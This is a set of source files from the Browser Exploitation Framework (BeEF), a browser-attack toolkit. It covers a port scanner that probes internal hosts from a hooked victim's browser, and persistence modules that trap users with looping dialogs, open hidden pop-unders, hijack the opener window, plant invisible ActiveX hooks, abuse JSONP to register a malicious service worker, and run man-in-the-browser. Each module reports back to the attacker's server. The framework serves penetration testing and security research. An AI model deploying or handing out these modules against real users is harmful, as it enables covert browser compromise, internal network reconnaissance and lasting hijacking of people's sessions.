// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ]; var default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ]; var default_services = {'1':'tcpmux', '5':'rje', '7':'echo', '9':'msn', '15':'netstat', '20':'ftp-data', '21':'ftp', '22':'ssh', '23':'telnet', '25':'smtp', '26':'rsftp', '29':'msgicp', '33':'dsp', '37':'time', '42':'nameserver', '43':'whois', '53':'domain', '67':'dhcps', '68':'dhcpc', '69':'tftp', '70':'gopher', '76':'deos', '79':'finger', '80':'http', '81':'hosts2-ns', '88':'kerberos-sec', '90':'dnsix', '98':'linuxconf', '101':'hostname', '106':'pop3pw', '109':'pop2', '110':'pop3', '111':'rpcbind', '113':'ident', '114':'audio news', '115':'sftp', '118':'sqlserv', '119':'nntp', '123':'ntp', '129':'pwdgen', '132':'cisco-sys', '133':'statsrv', '135':'msrpc', '136':'profile', '137':'netbios-ns', '138':'netbios-dgm', '139':'netbios-ssn', '143':'imap', '144':'news', '156':'sqlserv', '158':'pcmail-srv', '161':'snmp', '162':'snmp trap', '168':'rsvd', '174':'mailq', '177':'xdmcp', '194':'irc', '197':'dls', '199':'smux', '209':'tam', '213':'ipx', '217':'dbase', '219':'uarps', '220':'imap3', '223':'cdc', '264':'bgmp', '315':'dpsi', '316':'decauth', '346':'zserv', '353':'ndsauth', '389':'ldap', '413':'smsp', '414':'infoseek', '415':'bnet', '416':'silver platter', '440':'sgcp', '443':'https', '444':'snpp', '445':'microsoft-ds', '453':'creativeserver', '454':'content server', '456':'macon', '457':'scohelp', '458':'appleqtc', '462':'datasurfsrvsec', '464':'kpasswd5', '465':'smtps', '466':'digital-vrc', '480':'loadsrv', '486':'sstats', '497':'retrospect', '500':'isakmp', '501':'stmf', '515':'printer (spooler lpd)', '516':'videotex', '518':'ntalk', '522':'ulp', '523':'ibm-db2', '524':'ncp', '525':'timed', '526':'tempo', '533':'netwall', '535':'iiop', '538':'gdomap', '540':'uucp', '541':'uucp-rlogin', '542':'commerce', '543':'klogin', '544':'kshell', '545':'ekshell', '546':'dhcpconf', '547':'dhcpserv', '548':'afp', '556':'remotefs', '557':'openvms-sysipc', '560':'rmonitor', '561':'monitor', '563':'snews', '564':'9pfs', '587':'submission', '625':'apple-xsrvr-admin', '626':'apple-imap-admin', '631':'ipp', '636':'ldapssl', '637':'lanserver', '660':'mac-srvr-admin', '664':'secure-aux-bus', '666':'doom', '683':'corba-iiop', '740':'netcp', '741':'netgw', '742':'netrcs', '744':'flexlm', '747':'fujitsu-dev', '748':'ris-cm', '749':'kerberos-adm', '750':'kerberos', '751':'kerberos_master', '752':'qrh', '753':'rrh', '754':'krb_prop', '758':'nlogin', '760':'krbupdate', '761':'kpasswd', '762':'quotad', '763':'cycleserv', '764':'omserv', '765':'webster', '767':'phonebook', '771':'rtip', '773':'submit', '774':'rpasswd', '775':'entomb', '776':'wpages', '780':'wpgs', '781':'hp-collector', '782':'hp-managed-node', '783':'spam assassin', '786':'concert', '787':'qsc', '799':'controlit', '800':'mdbs_daemon', '801':'device', '808':'ccproxy-http', '871':'supfilesrv', '873':'rsync', '888':'access builder', '898':'sun-manageconsole', '901':'samba-swat', '953':'rndc', '989':'ftps-data', '990':'ftps', '992':'telnets', '993':'imaps', '994':'ircs', '995':'pop3s', '996':'xtreelic', '997':'maitrd', '998':'busboy', '999':'garcon', '1000':'cadlock', '1002':'windows-icfw', '1008':'ufsd', '1023':'netvenuechat', '1024':'kdm', '1025':'NFS-or-IIS', '1080':'socks', '1433':'mssql', '1434':'ms-sql-m', '1521 ':'oracle', '1720':'h323q931', '1723':'pptp', '3306':'mysql', '3389':'ms-wbt-server', '4489':'radmin', '5000':'upnp', '5060':'sip', '5432':'postgres', '5900':'vnc', '6000':'x11', '6001':'X11:1', '6446':'mysql-proxy', '8050':'coldfusion', '8080':'http-proxy', '8443':'tomcat', '8888':'sun-answerbook', '9100':'HP JetDirect card', '10000':'snet-sensor-mgmt', '10088':'zend server', '11371':'hkp'}; // Top-ports according to Fyodor's NMAP-related research (nmap-services / open-frequency). // default_services had been extended to contain below ports service names. // $ cat /usr/share/nmap/nmap-services | grep -vE "^#.+" | sort -r -k3 | grep "/tcp" | sed 's:/tcp::' | grep -v unknown | awk '{print $1" - "$2}' var top_ports = [80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, 1720, 465, 548, 113, 81, 6001, 10000, 5060, 515, 5000, 9100]; var host = '<%= @ipHost %>'; // TODO: Adjust times for each browser var closetimeout = '<%= @closetimeout %>'; var opentimeout = '<%= @opentimeout %>'; var delay = '<%= @delay %>'; var ports = '<%= @ports %>'; var debug = '<%= @debug %>'; var protocol = 'ftp://'; var start_time_ws = undefined; var start_time_cors = undefined; var start_time_http = undefined; var start_scan = undefined; var intID_http = undefined; var intID_ws = undefined; var intID_cors = undefined; var port = ""; var ports_list= []; var timeval = parseInt(opentimeout) + parseInt(delay*2); var port_status_http = 0; var port_status_ws = 0; var port_status_cors = 0; // 0 : unknown // 1 : closed // 2 : open // 3 : timeout // 4 : blocked var process_port_http = false; var process_port_ws = false; var process_port_cors = false; var count = 0; var img_scan = undefined; var ws_scan = undefined; var cs_scan = undefined; var s = undefined; var debug_value = false; // It will show what status is the port for each method if (debug == 'true') { debug_value = true; } function check_blocked(port_to_check) { var res = false; for (var i=0; i<blocked_ports.length; i++) { if (port_to_check == blocked_ports[i]) { res = true; } } return res; } function prepare_ports() { if (ports == 'default') // Default ports to scan { // nmap most used ports to scan + some new ports for ( var i=0; i<default_ports.length; i++) { ports_list[i] = default_ports[i]; } } else if (ports == 'top') // Top-ports according to Fyodor's research { // nmap most used ports to scan + some new ports for ( var i=0; i<top_ports.length; i++) { ports_list[i] = top_ports[i]; } } else { // Custom ports provided to scan if (ports.search(",") > 0) ports_list = ports.split(","); // list of ports else if (ports.search("-") > 0) { var firstport = parseInt(ports.split("-")[0]); // range of ports, start var lastport = parseInt(ports.split("-")[1]); // range of ports, end var a = 0; for (var i = firstport; i<=lastport; i++) { ports_list[a] = firstport + a; a++; } } else ports_list = ports.split(); // single port } } function cors_scan(hostname, port_) { if (check_blocked(parseInt(port_))) { process_port_cors = true; port_status_cors = 4; // blocked if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is BLOCKED');} return; } //var interval = (new Date).getTime() - start_time_cors; cs_scan = new XMLHttpRequest(); cs_scan.open('GET', "http://" + hostname + ":" + port_, true); cs_scan.send(null); intID_cors = setInterval( function () { var interval = (new Date).getTime() - start_time_cors; if (process_port_cors) { return; } if (cs_scan.readyState === 1) // CONNECTING { } if (cs_scan.readyState === 2) // OPEN { } if (cs_scan.readyState === 3) // CLOSING { } if (cs_scan.readyState === 4) // CLOSE { clearInterval(intID_cors); process_port_cors = true; if (interval < closetimeout) { port_status_cors = 1; // closed if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is CLOSED');} } else { port_status_cors = 2; // open var known_service = ""; if (port_ in default_services) { known_service = "(" + default_services[port_] + ")"; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success()); } } if (interval >= opentimeout) { clearInterval(intID_cors); process_port_cors = true; port_status_cors = 3; // timeout if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is TIMEOUT');} } return; } , 1); } function websocket_scan(hostname, port_) { if (check_blocked(parseInt(port_))) { process_port_ws = true; port_status_ws = 4; // blocked if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is BLOCKED');} return; } if ("WebSocket" in window) { ws_scan = new WebSocket("ws://" + hostname + ":" + port_); } if ("MozWebSocket" in window) { ws_scan = new MozWebSocket("ws://" + hostname + ":" + port_); } //var interval = (new Date).getTime() - start_time_ws; intID_ws = setInterval( function () { var interval = (new Date).getTime() - start_time_ws; if (process_port_ws) { clearInterval(intID_ws); return; } if (ws_scan.readyState === 0) // CONNECTING { } if (ws_scan.readyState === 1) // OPEN { // TODO: Detect WebSockets server running } if (ws_scan.readyState === 2) // CLOSING { } if (ws_scan.readyState === 3) // CLOSE { clearInterval(intID_ws); process_port_ws = true; if (interval < closetimeout) { port_status_ws = 1; // closed if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is CLOSED');} } else { port_status_ws = 2; // open var known_service = ""; if (port_ in default_services) { known_service = "(" + default_services[port_] + ")"; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is OPEN ' + known_service); } ws_scan.close(); } if (interval >= opentimeout) { clearInterval(intID_ws); process_port_ws = true; port_status_ws = 3; // timeout if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is TIMEOUT');} ws_scan.close(); } return; } , 1); } function http_scan(protocol_, hostname, port_) { //process_port_http = false; img_scan = new Image(); img_scan.onerror = function(evt) { var interval = (new Date).getTime() - start_time_http; if (interval < closetimeout) { if (process_port_http == false) { port_status_http = 1; // closed if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is CLOSED');} clearInterval(intID_http); } process_port_http = true; } }; img_scan.onload = img_scan.onerror; img_scan.src = protocol_ + hostname + ":" + port_; intID_http = setInterval( function () { var interval = (new Date).getTime() - start_time_http; if (interval >= opentimeout) { if (!img_scan) return; //img_scan.src = ""; img_scan = undefined; if (process_port_http == false) { port_status_http = 2; // open process_port_http = true; } clearInterval(intID_http); var known_service = ""; if (port_ in default_services) { known_service = "(" + default_services[port_] + ")"; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is OPEN ' + known_service); } } , 1); } prepare_ports(); if (ports_list.length < 1) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scan aborted, no valid ports provided to scan'); return; } else { desc = ''; if (ports == 'default' || ports == 'top') { desc = ports + ' ports on '; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning ' + desc + host+' [ports: ' + ports_list + ']'); } count = 0; start_scan = (new Date).getTime(); s = setInterval( function() { if(count < ports_list.length) { start_time_cors = (new Date).getTime(); cors_scan(host, ports_list[count]); start_time_ws = (new Date).getTime(); websocket_scan(host, ports_list[count]); start_time_http = (new Date).getTime(); http_scan(protocol, host, ports_list[count]); } count++; port_status_http = 0; // unknown process_port_http = false; port_status_ws = 0; // unknown process_port_ws = false; port_status_cors = 0; // unknown process_port_cors = false; if(count >= ports_list.length) { clearInterval(s); var interval = (new Date).getTime() - start_scan; setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Scan Finished in ' + interval + ' ms'); }, opentimeout*2); } } ,timeval); });
YAML
beef/modules/network/port_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: port_scanner: enable: true category: "Network" name: "Port Scanner" description: "Scan ports in a given hostname, using WebSockets, CORS and img tags. It uses the three methods to avoid blocked ports or Same Origin Policy.<br/><br/>Note: The user may see authentication popups in the event any of the target ports are web servers using HTTP authentication." authors: ["javier.marcos"] target: user_notify: ["FF", "C"] not_working: ["S", "O", "IE"]
Ruby
beef/modules/network/port_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Port Scanner Module - javier.marcos # Scan ports in a given hostname, using WebSockets CORS and HTTP with img tags. # It uses the three methods to avoid blocked ports or Same Origin Policy. class Port_scanner < BeEF::Core::Command def self.options [ { 'name' => 'ipHost', 'ui_label' => 'Scan IP or Hostname', 'value' => '192.168.1.10' }, { 'name' => 'ports', 'ui_label' => 'Specific port(s) to scan', 'value' => 'top' }, { 'name' => 'closetimeout', 'ui_label' => 'Closed port timeout (ms)', 'value' => '1100' }, { 'name' => 'opentimeout', 'ui_label' => 'Open port timeout (ms)', 'value' => '2500' }, { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '600' }, { 'name' => 'debug', 'ui_label' => 'Debug', 'value' => 'false' } ] end def post_execute content = {} content['port'] = @datastore['port'] unless @datastore['port'].nil? content['fail'] = 'No open ports have been found.' if content.empty? save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^ip=([\d.]+)&port=(CORS|WebSocket|HTTP): Port (\d+) is OPEN (.*)$/ ip = Regexp.last_match(1) port = Regexp.last_match(3) service = Regexp.last_match(4) session_id = @datastore['beefhook'] proto = 'http' if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found network service [ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, ntype: service) end end end
JavaScript
beef/modules/persistence/confirm_close_tab/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { function display_confirm(){ if(confirm("<%= @text %>")){ display_confirm(); } } function dontleave(e){ e = e || window.event; var usePopUnder = '<%= @usePopUnder %>'; if(usePopUnder) { var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html'; var popunder_name = Math.random().toString(36).substring(2,10); beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested'); try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); } } if(beef.browser.isIE()){ e.cancelBubble = true; e.returnValue = "<%= @text %>"; }else{ if (e.stopPropagation) { e.stopPropagation(); e.preventDefault(); e.returnValue = "<%= @text %>"; } } //re-display the confirm dialog if the user clicks OK (to leave the page) display_confirm(); return "<%= @text %>"; } window.onbeforeunload = dontleave; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully'); });
YAML
beef/modules/persistence/confirm_close_tab/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: confirm_close_tab: enable: true category: "Persistence" name: "Confirm Close Tab" description: "Shows a confirm dialog to the user when they try to close a tab. If they click yes, re-display the confirmation dialog. This doesn't work on Opera < v12. In Chrome you can't keep opening confirm dialogs." authors: ["antisnatchor"] target: user_notify: ["ALL"] not_working: ["O"]
Ruby
beef/modules/persistence/confirm_close_tab/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Confirm_close_tab < BeEF::Core::Command def self.options [{ 'name' => 'text', 'description' => 'Specifies message to display to the user.', 'type' => 'textarea', 'ui_label' => 'Confirm text', 'value' => 'Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.', 'width' => '400px' }, { 'name' => 'usePopUnder', 'type' => 'checkbox', 'ui_label' => 'Create a pop-under window on user\'s tab closing', 'checked' => 'true' }] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/hijack_opener/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var referrer = document.referrer; try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); window.opener.location = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + '/iframe#' + referrer; beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.are.status_success()); } catch (e) { beef.debug("[Hijack Opener] could not hijack opener window: "+e.message) beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.are.status_error()); } });
YAML
beef/modules/persistence/hijack_opener/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hijack_opener: enable: true category: "Persistence" name: "Hijack Opener Window" description: "This module abuses window.location.opener to hijack the opening window, replacing it with a BeEF hook and 100% * 100% iframe containing the referring web page. Note that the iframe will be blank if the origin makes use of a restrictive X-Frame-Origin directive.<br/><br/>This attack will only work if the opener did not make use of the <i>noopener</i> and <i>noreferrer</i> directives. Refer to <a href='https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/'>Target=_blank - the most underestimated vulnerability ever</a> for more information." authors: ["bcoles"] target: user_notify: ["All"] not_working: ["O"]
Ruby
beef/modules/persistence/hijack_opener/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hijack_opener < BeEF::Core::Command def pre_send config = BeEF::Core::Configuration.instance hook_file = config.get('beef.http.hook_file') src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>' src << "<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>" src << "<script src='#{hook_file}'></script>" src << '<script>var url = window.location.hash.slice(1);' src << 'if (url.match(/^https?:\/\//)) {' src << 'document.title = url;' src << 'document.getElementById("iframe").src = url;' src << '}</script></body></html>' BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw( '200', { 'Content-Type' => 'text/html' }, src, '/iframe', -1 ) end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/iframe_above/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.dom.persistentIframe(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); });
YAML
beef/modules/persistence/iframe_above/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iframe_above: enable: true category: "Persistence" name: "Create Foreground iFrame" description: "Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link." authors: ["passbe"] target: user_notify: ["ALL"]
Ruby
beef/modules/persistence/iframe_above/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iframe_above < BeEF::Core::Command # This method is being called when a hooked browser sends some # data back to the framework. # def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/invisible_htmlfile_activex/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook; // create HMTL document beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object"); doc = new ActiveXObject("HtmlFile"); doc.open(); doc.write('<html><body><script src="'+hook_url+'"><\/script></body></html>'); doc.close(); // Save a self-reference doc.Script.doc = doc; // Prevent IE from destroying the previous reference window.open("","_self"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success()); } catch (e) { beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message) beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error()); } });
YAML
beef/modules/persistence/invisible_htmlfile_activex/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: invisible_htmlfile_activex: enable: true category: "Persistence" name: "Invisible HTMLFile (ActiveX)" description: "This module uses a <i>HTMLFile</i> ActiveX object to create an invisible HTML document containing a BeEF hook. The hook persists until the tab is closed. Internet Explorer only.<br/><br/> Based on <a href='https://www.brokenbrowser.com/zombie-alert/'>research</a> by <a href='https://twitter.com/magicmac2000'>@MagicMac2000</a>." authors: ["bcoles", "@MagicMac2000"] target: working: IE: min_ver: 11 max_ver: latest not_working: ["All"]
Ruby
beef/modules/persistence/invisible_htmlfile_activex/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Invisible_htmlfile_activex < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/jsonp_service_worker/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var scriptElem = document.createElement("script"); var hook = encodeURIComponent(beef.net.hook); var tempBody = beef.encode.base64.decode('<%= Base64.strict_encode64(@tempBody) %>').replace(/%27/g, "%26%2339%3B"); scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; $j("body").append(scriptElem); beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); });
YAML
beef/modules/persistence/jsonp_service_worker/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: jsonp_service_worker: enable: true category: "Persistence" name: "JSONP Service Worker" description: "This module will exploit an unfiltered callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain" authors: ["clod81"] target: working: ["C"] not_working: ["ALL"]
Ruby
beef/modules/persistence/jsonp_service_worker/module.rb
class Jsonp_service_worker < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end def self.options [ { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' }, { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users', 'value' => '<h3>Unplanned site maintenance, please wait a few seconds, we are almost done.</h3>' } ] end end
JavaScript
beef/modules/persistence/man_in_the_browser/command.js
/* * Copyright (c) 2006-2023Wade Alcorn - [email protected] * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { try{ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked."); beef.mitb.init("<%= @command_url %>", <%= @command_id %>); var MITBload = setInterval(function(){ if(beef.pageIsLoaded){ clearInterval(MITBload); beef.mitb.hook(); } }, 100); }catch(e){ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Failed to hook browser: " + e.message); } });
YAML
beef/modules/persistence/man_in_the_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: man_in_the_browser: enable: true category: "Persistence" name: "Man-In-The-Browser" description: "This module will use a Man-In-The-Browser attack to ensure that the BeEF hook will stay until the user leaves the domain (manually changing it in the URL bar)" authors: ["mathias"] target: working: ["ALL"] not_working: ["IE"]
Ruby
beef/modules/persistence/man_in_the_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Man_in_the_browser < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/popunder_window/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html'; var popunder_name = Math.random().toString(36).substring(2,10); function popunder() { beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested'); try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); } if (document.removeEventListener) { // Every sane browser document.removeEventListener("click", popunder); } else { // IE8 and earlier document.detachEvent("onclick", popunder); } } if ('<%= @clickjack %>' == 'on') { beef.debug("[Create Pop-Under] Waiting for click event..."); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Waiting for click event'); if (document.addEventListener) { // Every sane browser document.addEventListener("click", popunder); } else { // IE8 and earlier document.attachEvent("onclick", popunder); } } else { popunder(); } });
YAML
beef/modules/persistence/popunder_window/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: popunder_window: enable: true category: "Persistence" name: "Create Pop Under" description: "This module creates a new discreet pop under window with the BeEF hook included.<br><br>Another browser node will be added to the hooked browser tree.<br/><br/>Modern browsers block popups by default and warn the user the popup was blocked (unless the origin is permitted to spawn popups).<br/><br/>However, this check is bypassed for some user-initiated events such as clicking the page. Use the 'clickjack' option below to add an event handler which spawns the popup when the user clicks anywhere on the page. Running the module multiple times will spawn multiple popups for a single click event.<br/><br/>Note: mobile devices may open the new popup window on top or redirect the current window, rather than open in the background." authors: ["ethicalhack3r"] target: user_notify: ["ALL"]